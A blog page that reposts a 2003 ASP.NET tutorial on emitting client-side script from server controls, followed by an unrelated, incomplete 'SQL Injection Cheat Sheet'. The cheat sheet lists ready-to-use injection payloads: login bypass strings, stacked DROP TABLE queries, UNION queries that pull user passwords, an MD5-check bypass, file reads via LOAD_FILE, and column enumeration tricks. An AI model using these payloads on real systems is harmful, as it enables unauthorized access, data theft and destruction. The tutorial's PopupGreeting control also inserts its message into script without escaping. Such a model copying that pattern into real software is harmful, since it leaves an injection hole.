Ads Header

Saturday, October 2, 2010

Injecting Client-Side Script from an ASP.NET Server Control

Saturday, October 2, 2010 by Vips Zadafiya · 0


Injecting Client-Side Script from an ASP.NET Server Control


 

Scott Mitchell


August 2003


Applies to:
    Microsoft® ASP.NET


Prerequisites: This article assumes the reader is familiar with ASP.NET.


Level of Difficulty: 2


Summary: While, technically, all of an ASP.NET server control's functionality can be performed on the server-side, often the usability of a server control can be greatly enhanced by adding client-side script. In this article we'll examine two means by which server controls can emit client-side script. We'll also build two server controls that utilize these techniques: PopupGreeting, a server control that displays a client-side, modal dialog box with a specified message on a Web page's first load, and ConfirmButton, which is an enhanced Button Web control that, when clicked, prompts the user with a JavaScript confirm() dialog box before posting back the Web Form. (11 printed pages)


Download InjectingClientSideScript.msi.


Contents


Introduction
Adding Client-Side Script Blocks with RegisterStartupScript() and RegisterClientScriptBlock()
Examining IsStartupScriptRegistered() and IsClientScriptBlockRegistered()
Emitting Client-Side Script Blocks from an ASP.NET Server Control
Emitting HTML Attributes for a ASP.NET Server Web Control
Conclusion


Introduction


While, technically, all of a Microsoft® ASP.NET server control's functionality can be performed on the server-side, often the usability of a server control can be greatly enhanced by adding client-side script. For example, the ASP.NET validation Web controls perform all validation checks on the server-side. However, for uplevel browsers, the validation Web controls also emit client-side script so that validation can be performed on the client-side as well. This means that users of those browsers get a more responsive, dynamic experience.


When developing ASP.NET server controls you should ask yourself how you could enhance the usability through the use of client-side script. Once you have identified these areas, all that remains is to augment the server control so that it emits the proper client-side script.


There are two types of client-side script ASP.NET server controls can emit:



  • Client-side script blocks

  • Client-side HTML attributes

Client-side script blocks are typically written in JavaScript, and usually contain functions that are executed when certain client-side events transpire. Client-side HTML attributes provide a way to tie a client-side event with a piece of client-side script. For example, the following HTML page contains a client-side script block that contains a function called doClick(). The page also contains a button—created by the <input> HTML element—that has its onclick attribute wired up to the doClick() function. That is, whenever a user clicks the button, the client-side code in the doClick() function will execute. In this example, a popup dialog box will display (Figure 1).






<html>
<body>
<form>
<script language="JavaScript">
<!--
function doClick() {
alert("You clicked me!");
}
// -->
</script>

<input type="button" onclick="doClick()" value="Click Me!" />
</form>
</body>
</html>


Figure 1 shows a screenshot of this HTML page when the Click Me! button is clicked.


Aa478975.aspnet-injectclientsidescript-01(en-us,MSDN.10).gif


Figure 1. Popup dialog box that displays when Click Me! Button is clicked


There are a couple of things worth mentioning in the client-side script in the HTML page above. First, note that the client-side script block is encased in HTML comments (<!-- and -->). These comments are in place because old, non-script aware browsers will simply display the contents of the <script> block if it is not encased in HTML comments. Furthermore, note that the closing HTML comment in the script block has a JavaScript comment preceding it—//. This is because older versions of Netscape would throw a JavaScript parsing exception when the --> was encountered, unless it was commented out. Fortunately, modern browsers do not require this extra pampering, so if you are developing Web pages for an intranet or other browser-controlled environment, you need not take such precautions.


For those unfamiliar with client-side scripting, the alert(string) function simply displays a modal popup dialog box that contains the message specified by the string parameter. HTML elements all have a number of client-side attributes (such as onclick, onmouseover, onmouseout, onfocus, onblur, and so on) that can be assigned a piece of client-side JavaScript code. For example, in the HTML page above, the <input> element's onclick attribute is wired up to the doClick() function, thereby causing the doClick() function to execute when the button is clicked. A list of JavaScript events and their associated HTML attributes can be found in the article Introduction to Dynamic HTML. For more information on client-side JavaScript, refer to the article HTML and Dynamic HTML.


In this article we will see how to emit both client-side script blocks and HTML element attributes in ASP.NET server controls. First, we'll see how to use two methods in the System.Web.UI.Page class to add client-side script blocks to an ASP.NET Web page: RegisterStartupScript() and RegisterClientScriptBlock(). Armed with this knowledge, we'll examine building a simple server control that displays a client-side popup dialog box whenever the page is loaded. After this, we'll turn our attention to adding HTML attributes to the HTML element rendered by the ASP.NET server control. Finally, we'll put all that we've learned to practice and build a ConfirmButton Web control—one that, when clicked, prompts the user with a client-side confirm dialog box that asks if they are sure they want to proceed.


Adding Client-Side Script Blocks with RegisterStartupScript() and RegisterClientScriptBlock()


The System.Web.UI.Page class contains two methods for emitting client-side script code into the HTML rendered by the ASP.NET Web page:



  • RegisterStartupScript(key, script)

  • RegisterClientScriptBlock(key, script)

Both of these methods take two strings as input. The second parameter, script, is the client-side script—including the opening and closing <script> tags—to insert into the page. The first parameter, key, serves as a unique identifier for the inserted client-side script.


The only difference between these two methods is where each one emits the script block. RegisterClientScriptBlock() emits the script block at the beginning of the Web Form (right after the <form runat="server"> tag), while RegisterStartupScript() emits the script block at the end of the Web Form (right before the </form> tag).


To better understand why there are two different methods for emitting client-side script, realize that client-side script can be partitioned into two classes: code that is designed to run immediately when the page is loaded, and code that is designed to run when some client-side event occurs. A common example of code that is designed to run when the page is loaded is client-side code designed to set the focus to a textbox. For example, when you visit Google, a small bit of client-side code is executed when the page is loaded to automatically set the focus to the search textbox.


An example of code that is designed to run in response to a client-side event can be seen below. Specifically, in this example, a popup dialog box displays when a button is clicked:






<html>
<body>
<form>
<script language="JavaScript">
<!--
function displayPopup() {
alert("Hello, world.");
}
// -->
</script>

<input type="button" value="Click Me!" onclick="displayPopup()" />
</form>
</body>
</html>


Here, the onclick="displayPopup()" in the <input> tag indicates that when the button is clicked the JavaScript function displayPopup() should run.


The RegisterStartupScript() method is useful for adding script blocks that are designed to run when the page is loaded. The script blocks added via this method appear at the end of the Web Form because the HTML element the script modifies must be defined prior to the script running. That is, if you want to use client-side script to set the focus to a textbox, you must make certain that the textbox's HTML markup appears before the script that sets the textbox's focus. For example, the following HTML will display a textbox and set the focus to the textbox:






<input type="text" id="myTextBox" />

<script language="JavaScript">
<!--
document.getElementById("myTextBox").focus();
// -->
</script>


Whereas the following HTML will not set the focus to the textbox, because the textbox is defined after the script block:






<script language="JavaScript">
<!--
document.getElementById("myTextBox").focus();
// -->
</script>

<input type="text" id="myTextBox" />


Therefore, the RegisterStartupScript() method places the <script> block at the end of the Web Form to ensure that all HTML elements in the Web Form have been declared by the time the client-side script is executed.


The RegisterClientScriptBlock() method should be used for script code that executes in response to a client-side event. The script blocks emitted by this method are emitted at the start of the Web Form since it is not imperative that the script blocks be placed after all of the HTML elements.


Examining IsStartupScriptRegistered() and IsClientScriptBlockRegistered()


In addition to the RegisterStartupScript() and RegisterClientScriptBlock() methods, the Page class contains two helper methods commonly used when emitting client-side script:



  • IsStartupScriptRegistered(key)

  • IsClientScriptBlockRegistered(key)

Recall that when inserting a client-side script block with either RegisterStartupScript() or RegisterClientScriptBlock(), a key is provided that uniquely identifies the script block. These methods, both of which take in a single input—a string key—and return a Boolean value, indicate whether or not a script block with the specified key has already been added to the page. Specifically, the methods return True if a script block with the specified key has already been registered, and False otherwise.


To understand the utility of these two methods, consider the ASP.NET validation Web controls RequiredFieldValidator, RegularExpressionValidator, and so on. These controls rely on a common validation JavaScript file, WebValidation.js, which is found in the aspnet_client/system_web/version_number directory of an ASP.NET Web application. Therefore, each of these controls emits an identical script block that calls the appropriate JavaScript function defined in the WebValidation.js file to start the client-side validation process. These controls accomplish this by using the Page class' RegisterClientScriptBlock() method, using the key ValidatorIncludeScript.


Next consider what happens when there are multiple validation Web controls on a single ASP.NET Web page. Each of these Web controls wants to emit an identical script block with an identical key. If the RegisterClientScriptBlock() or RegisterStartupScript() method is called twice with the same key, the second call is considered a duplicate script block and is ignored. Therefore, even with multiple validation controls on a single Web page, only one instance of the common script block will be emitted. However, realize that all of the validation Web controls other than the first one that rendered will have wasted their time in building up the common client-side script to be emitted.


This is where the IsClientScriptBlock() and IsStartupScript()methods come in handy. Rather than take the time to construct the client-side code to be emitted, the validation Web controls first check to see if there already exists a script block registered with the key ValidatorIncludeScript. If there is, then the control can bypass construction of the client-side script block, as it has already been completed by some other validation control on the page.


Therefore, whenever constructing client-side script, it is always wise to first call the IsClientScriptBlock() or IsStartupScript()method to determine if generating the client-side script is necessary. We'll see examples of using the IsClientScriptBlock() and IsStartupScript()methods in tandem with RegisterClientScriptBlock() and RegisterStartupScript() in the next section.


Emitting Client-Side Script Blocks from an ASP.NET Server Control


Keep in mind that the RegisterStartupScript() and RegisterClientScriptBlock() methods are methods of the System.Web.UI.Page class. Fortunately, it is easy to call these methods from an ASP.NET server control because the System.Web.UI.Control class, the class from which all ASP.NET server controls are either directly or indirectly derived, has a property called Page that contains a reference to the Page instance, which contains the server control. Therefore, in order to add a client-side script block from an ASP.NET server control, all you have to do is use the following syntax:






this.Page.RegisterClientScriptBlock(key, script);

Typically adding client-side script blocks is a task handled in the OnPreRender() method, which is the method that executes during the pre-rendering stage of the control's lifecycle.


Let's create an ASP.NET server control that simply displays a client-side popup dialog box. This example will illustrate how easy it is to build a control that emits client-side script.


Start by creating a new Web Control Library project in Microsoft® Visual Studio® .NET. This will create a new project with a single class that is derived from System.Web.UI.WebControls.WebControl. However, we want to have this class derived from the System.Web.UI.Control class instead. To understand why, understand that the WebControl class was designed to support server controls that render as HTML elements, while the Control class was designed for server controls that do not result in a rendered HTML element.


Most of the built-in ASP.NET server controls emit an HTML element. For example, the TextBox Web control emits an <input> element with its type property set to text; the DataGrid Web control emits a <table> element, with <tr> elements for each record to be displayed and <td> columns for each field. However, not all server controls necessarily emit an HTML element. For example, the Literal control merely outputs its Text property as-is, without wrapping it in an HTML element. Similarly, the Repeater does not encase its output in an HTML element. Those server controls that render as an HTML element—TextBox, Button, DataGrid, and so on—are derived from the System.Web.UI.WebControls.WebControl class, whereas those controls that do not produce an HTML element—Literal, Repeater, and so on—are derived from the System.Web.UI.Control class.


Since the server control we'll be creating has no visual aspect (it merely emits a client-side script block that displays a popup control), it would be best for this control to be derived from System.Web.UI.Control as opposed to System.Web.UI.WebControls.WebControl.


This control will need only two properties:



  • PopupMessage—a string that indicates the message to be displayed in the popup dialog box

  • Enabled—a Boolean that indicates if the control is enabled or not. If the control is enabled, then the popup dialog box is displayed; otherwise, it is not displayed. (The reason we have to add an Enabled property is because the Control class that we are deriving this control from does not include the Enabled property; this property is only present implicitly for those controls that are derived from WebControl.)

In addition to these two properties, we need to override the OnPreRender() method. Here, we need to make a call to RegisterStartupScript(), passing in a key unique to the control and the suitable client-side script to display the popup dialog box. The complete code for this class can be seen below:






using System;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.ComponentModel;

namespace ClientSideScript
{
/// <summary>
/// Summary description for WebCustomControl1.
/// </summary>
[DefaultProperty("Text"),
ToolboxData("<{0}:PopupGreeting runat=server></{0}:PopupGreeting>")]
public class PopupGreeting : System.Web.UI.Control
{
[Bindable(true),
Category("Appearance"),
DefaultValue("")]
public string PopupMessage
{
get
{
// See if the item exists in the ViewState
object popupMessage = this.ViewState["PopupMessage"];
if (popupMessage != null)
return this.ViewState["PopupMessage"].ToString();
else
return "Welcome to my Web site!";
}

set
{
// Assign the ViewState variable
ViewState["PopupMessage"] = value;
}
}

[Bindable(true),
Category("Appearance"),
DefaultValue("")]
public bool Enabled
{
get
{
// See if the item exists in the ViewState
object enabled = this.ViewState["Enabled"];
if (enabled != null)
return (bool) this.ViewState["Enabled"];
else
return true;
}

set
{
// Assign the ViewState variable
ViewState["Enabled"] = value;
}
}


protected override void OnPreRender(EventArgs e)
{
base.OnPreRender(e);

string scriptKey = "intoPopupMessage:" + this.UniqueID;

if (!Page.IsStartupScriptRegistered(scriptKey) && this.Enabled &&
!Page.IsPostBack)
{
string scriptBlock =
@"<script language=""JavaScript"">
<!--
alert(""%%POPUP_MESSAGE%%"");
// -->
</script>";
scriptBlock = scriptBlock.Replace("%%POPUP_MESSAGE%%", this.PopupMessage);

Page.RegisterStartupScript(scriptKey, scriptBlock);
}
}
}
}


Take note of these two things: first, the properties Enabled and PopupMessage are saved in the ViewState. This allows these values to be persisted across postbacks. Next, in the OnPreRender() method, the key used for the script block is the text intoPopupMessage: concatenated with the control's UniqueID property. If a single, hard-coded key were used, then, if there were multiple controls on the page, only the first control would be able to register its script block, so only one popup dialog box would be displayed. By using the UniqueID in the script block key, each instance of this control is guaranteed to get its script block in.


Before registering the script block, the code first checks three conditions:



  1. That there is not already a script registered with the same key. This should never be possible, since each control instance should have a UniqueID property value. However, it never hurts to get into the practice of using the IsStartupScriptRegistered() method before actually taking the time to create and register the startup script.

  2. If the control's Enabled property is True.

  3. If the page is not being posted back. This code has the popup dialog box only display on the page's first load. It is likely not the intention to have this popup displayed each time the page is posted back, but rather, only displayed on the first page load. A potential enhancement would be to add a Boolean property to this control to allow the user to specify if the popup dialog box should be generated on postbacks as well.

If these three conditions pass, then the script is specified and the PopupMessage property value is inserted into the script in the proper location. Finally, the Page property's RegisterStartupScript() method is called, passing in the key and script code.


The PopupGreeting code is available in a download at the end of this article. This download includes the Visual Studio .NET Solution named ClientSideControlsAndTester, which contains two projects:



  • ClientSideControls, which contains the PopupGreeting server control

  • ClientSideTester, which contains an ASP.NET Web application designed to test the ClientSideControls

The compiled assembly for the ClientSideControls project is named ClientSideControls.dll. To use the PopupGreeting server control in your own ASP.NET Web application, add the ClientSideControls.dll file to your Web application's References. Next, in the Designer, right-click on the Toolbox and choose Add/Remove Items . . .. Again, select the ClientSideControls.dll file. This will add a new item to the Toolbox titled PopupGreeting. You can then drag and drop the control from the Toolbox onto the Designer.


Figure 2 shows a screenshot of Visual Studio .NET after the PopupGreeting control has been added to the Toolbox and then added to the Designer. The PopupGreeting control in the Toolbox is circled in red, the PopupGreeting output in the Designer is circled in blue, and the properties of the PopupGreeting can be seen in the Properties pane in the right-hand side of the screenshot.


Aa478975.aspnet-injectclientsidescript-02(en-us,MSDN.10).gif


Figure 2. The PopupGreeting Server Control has been added to an ASP.NET Web form page


Emitting HTML Attributes for an ASP.NET Server Web Control


Recall that there are two ways to emit client-side script through a server control:



  • Through the use of client-side script blocks

  • Through HTML element attributes

In the previous section we examined how to add client-side script blocks to an ASP.NET Web page using the Page class's RegisterStartupScript() and RegisterClientScriptBlock() methods. In this final section we'll see how to add HTML element attributes to the HTML element rendered by the server control.


Before we begin, realize that typically this approach will only be used for server controls that are derived from the System.Web.UI.WebControls.WebControl class, as controls derived from this class emit some HTML element. Server controls that do not emit an HTML element—like the PopupGreeting server control from the previous section—do not ever need to write out HTML element attributes because they do not write out an HTML element to begin with.


The WebControl class contains a method for adding HTML element attributes to the HTML element being emitted by the Web control. This method is called AddAttributesToRender() and has a single input parameter, an HtmlTextWriter instance. To add HTML attributes to the Web control you can use one of these two methods from the HtmlTextWriter:



  • AddAttribute()

  • AddStyleAttribute()

The AddAttribute() method adds an HTML attribute like title, class, style, onclick, and so on to the HTML element. AddStyleAttribute(), on the other hand, adds style settings to the HTML element, like background-color, color, font-size, and so on.


AddAttribute() has a few overloaded forms, but in the code we'll examine we'll use the following form: AddAttribute(HtmlTextWriterAttribute, value). The first parameter, HtmlTextWriterAttribute, needs to be a member from the HtmlTextWriterAttribute enumeration. This enumeration contains items like Align, Bgcolor, Class, Onclick, and so on. You can see a complete listing in the .NET Framework Class Library, HtmlTextWriterAttribute Enumeration. The value input parameter specifies the value assigned to the specified HTML attribute. Finally, if you want to add an HTML attribute that is not defined in the HtmlTextWriterAttribute enumeration, you can use an alternate form of the AddAttribute() method, AddAttribute(attributeName, value). Here, both attributeName and value are strings.


To apply this information, let's create a server Web control that renders as a confirm button. A confirm button is a submit button that, when clicked, displays a popup dialog box asking the user if they're certain they want to continue. This gives the user a chance to click Cancel, which has the effect of not submitting the form. Such functionality is particularly useful when there are buttons to delete information—nothing can be more upsetting to an end user (or Web site administrator) than to have deleted an item from a database due to an accidental and unfortunate mouse click.


To save ourselves a lot of work, we can have the ConfirmButton Web control be derived from the System.Web.UI.WebControls.Button class, since this class already does all the heavy lifting involved with rendering a submit button. All that we need to do in our derived class is add a property so that the user can specify the confirmation message, then override the Button's AddAttributesToRender() method, and then add an attribute to handle the onclick client-side event.


Start by creating a new Web Control Library project in Visual Studio .NET, or add a new Web Custom Control into the ClientSideControls project. The complete source code for the ConfirmButton class can be seen below:






using System;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.ComponentModel;

namespace ClientSideControls
{
/// <summary>
/// Summary description for ConfirmButton.
/// </summary>
[DefaultProperty("Text"),
ToolboxData("<{0}:ConfirmButton runat=server></{0}:ConfirmButton>")]
public class ConfirmButton : Button
{
[Bindable(true),
Category("Appearance"),
DefaultValue("")]
public string PopupMessage
{
get
{
// See if the item exists in the ViewState
object popupMessage = this.ViewState["PopupMessage"];
if (popupMessage != null)
return this.ViewState["PopupMessage"].ToString();
else
return "Are you sure you want to continue?";
}

set
{
// Assign the ViewState variable
ViewState["PopupMessage"] = value;
}
}


protected override void AddAttributesToRender(HtmlTextWriter writer)
{
base.AddAttributesToRender(writer);

string script = @"return confirm(""%%POPUP_MESSAGE%%"");";
script = script.Replace("%%POPUP_MESSAGE%%",
this.PopupMessage.Replace("\"", "\\\""));

writer.AddAttribute(HtmlTextWriterAttribute.Onclick, script);
}
}
}


The first thing to notice is that this class, ConfirmButton, is derived from the Button class. Since the Button class already contains all the properties and methods a Button Web control uses, all we have to do is add the properties and methods to make the Button, when clicked, display a confirm dialog box. We now need one property, PopupMessage, which is the message that will display in the confirm popup dialog box. By default, this message is, "Are you sure you want to continue?" If you are using the ConfirmButton for verifying deletes, you might want to change the message to something like, "This action will permanently delete the selected item. Are you sure you want to do this?"


We only need to override a single method, AddAttributesToRender(). In this method we simply construct the client-side JavaScript to execute when the rendered <input> element's onclick event fires, and then add this via the AddAttribute() method of the passed-in HtmlTextWriter object. One thing to note in this method is that we must replace all instances of double-quotes in the PopupMessage property value with escaped double-quotes (namely, \"). Also, realize that the AddAttribute() by default HTML encodes the characters in the second parameter. That is, an ASP.NET Web page with a ConfirmButton whose PopupMessage property is set to "Do you want to continue?" will emit the following HTML markup:






<input type="submit" name="ConfirmButton1" 
value="Click Me!" id="ConfirmButton1" onclick="return confirm
(&quot;Do you want to continue?&quot;);" />


If you are unfamiliar with JavaScript's confirm(string) function, it simply accepts a string parameter and displays a modal dialog box with the specified string. This dialog box contains two buttons, OK and Cancel. If OK is clicked, the confirm() function returns True, otherwise it returns False. Note that the onclick event returns the result of the confirm() function call. When a form is submitted by clicking a submit button, if the submit button's onclick event returns False, the form is not submitted. Hence, the confirm() function can be used in this manner to only submit the form if the user gives his confirmation. For more information on confirm(), see Javascript Confirm Form Submission from the ASP Warrior site.


Aa478975.aspnet-injectclientsidescript-03(en-us,MSDN.10).gif


Figure 3. The ConfirmButton in action


While ConfirmButton uses inline JavaScript in the button's onclick event handler, another option is to create a function in a client-side script block in the ConfirmButton's OnPreRender() method, and then adjust the onclick attribute to call this function.


Conclusion


In this article we examined two methods for injecting client-side script via an ASP.NET server control. The first method is to insert client-side script blocks using the Page class's RegisterStartupScript() and RegisterClientScriptBlock() methods. The second method is to add client-side script to an HTML element's attributes. This is accomplished by overriding the Web server control's AddAttributesToRender() method, and using the HtmlTextWriter's AddAttribute() method.


We also examined in this article two simple server controls that utilize client-side script to improve their functionality. The PopupGreeting control simply displays a modal popup dialog box when the page was first loaded. Similarly, the ConfirmButton Web control prompts the user to confirm that they wish to continue when they submit a form by clicking on the button.


You can greatly improve the user's experience by inserting client-side script into your custom server controls. While the two server controls examined in this article were relatively simple and won't win any awards for usability or ingenuity, at MetaBuilders.com there is an impressive display of the capabilities that can be realized with client-side script injection from an ASP.NET server control. Specifically, at MetaBuilders.com you can find server controls that automatically add the focus to a textbox, move items between two drop-down lists, add and remove items from a drop-down list, display parent-child related data in a series of drop-down lists, and on and on. Best of all, these controls are free and include the complete source code.


Happy Programming!


About the Author


Scott Mitchell, author of five ASP/ASP.NET books and founder of 4GuysFromRolla.com, has been working with Microsoft Web technologies for the past five years. An active member in the ASP and ASP.NET community, Scott is passionate about ASP and ASP.NET and enjoys helping others learn more about these exciting technologies. For more on the DataGrid, DataList, and Repeater controls, check out Scott's book ASP.NET Data Web Controls Kick Start (ISBN: 0672325012).


Recommended Links:


About SQL Injection Cheat Sheet

by Vips Zadafiya · 0

SQL Injection Cheat Sheet

Find and exploit SQL Injections with Free SQL Injection Scanner

SQL Injection Cheat Sheet, Document Version 1.4

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases

Examples;


  • (MS) means : MySQL and SQL Server etc.

  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents



  1. About SQL Injection Cheat Sheet

  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers

    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related

    9. Union Injections

    10. Bypassing Login Screens

    11. Enabling xp_cmdshell in SQL Server 2005

    12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks


Ending / Commenting Out / Line Comments


Line Comments


Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.



  • -- (SM)
    DROP sampletable;--


  • # (M)
    DROP sampletable;#

Line Comments Sample SQL Injection Attacks


  • Username: admin'--

  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments


Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.



  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable

    • DR/**/OP/*bypass blacklisting*/sampletable

    • SELECT/*avoid-spaces*/password/**/FROM/**/Members


  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples


  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --


  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks


  • ID: /*!32302 10*/

  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02


  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries


Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.



  • ; (S)
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.


Language / Database Stacked Query Support Table


green: supported, dark gray: not supported, light gray: unknown






































SQL Server MySQLPostgreSQLORACLEMS Access
ASP
ASP.NET
PHP
Java


About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?


Stacked SQL Injection Attack Samples


  • ID: 10;DROP members --

  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.


If Statements


Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.


MySQL If Statement



  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement



  • IF condition true-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".


Using Integers


Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.



  • 0xHEXNUMBER (SM)
    You can write hex like these;

    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations


String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.


String Concatenation



  • + (S)
    SELECT login + '-' + password FROM members


  • (*MO)
    SELECT login '-' password FROM members

*About MySQL "";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.



  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes


These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.



  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.

    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))


  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return ‘KLM’.


  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return ‘KLM’.

Hex based SQL Injection Samples



  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:\boot.ini

String Modification & Related



  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

    SELECT ASCII('a')


  • CHAR() (SM)
    Convert an integer of ASCII.

    SELECT CHAR(64)

Union Injections


With union you do SQL queries cross-table. Basically you can poison query to return records from another table.


SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.


Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--


UNION – Fixing Language Issues


While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.



  • SQL Server (S)
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members


  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1--

  • ....


  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries


Bypassing second MD5 hash check login screens


If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.


Bypassing MD5 Hash Check Example (MSP)


Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055


81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)



Error Based - Find Columns Names


Finding Column Names with HAVING BY - Error Based (S)


In the same order,



  • ' HAVING 1=1 --

  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --

  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on

  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)


Finding column number by ORDER BY can speed up the UNION SQL Injection process.



  • ORDER BY 1--

  • ORDER BY 2--

  • ORDER BY N-- so on

  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.


Hints,



  • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.

  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.

  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type



  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.


    If you are not getting error it means column is numeric.


  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--


  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error - Syntax is right. MS SQL Server Used. Proceeding.


  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.


  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.


  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.


  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...

    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union


Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes


@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.


INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)


Bulk Insert (S)


Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.




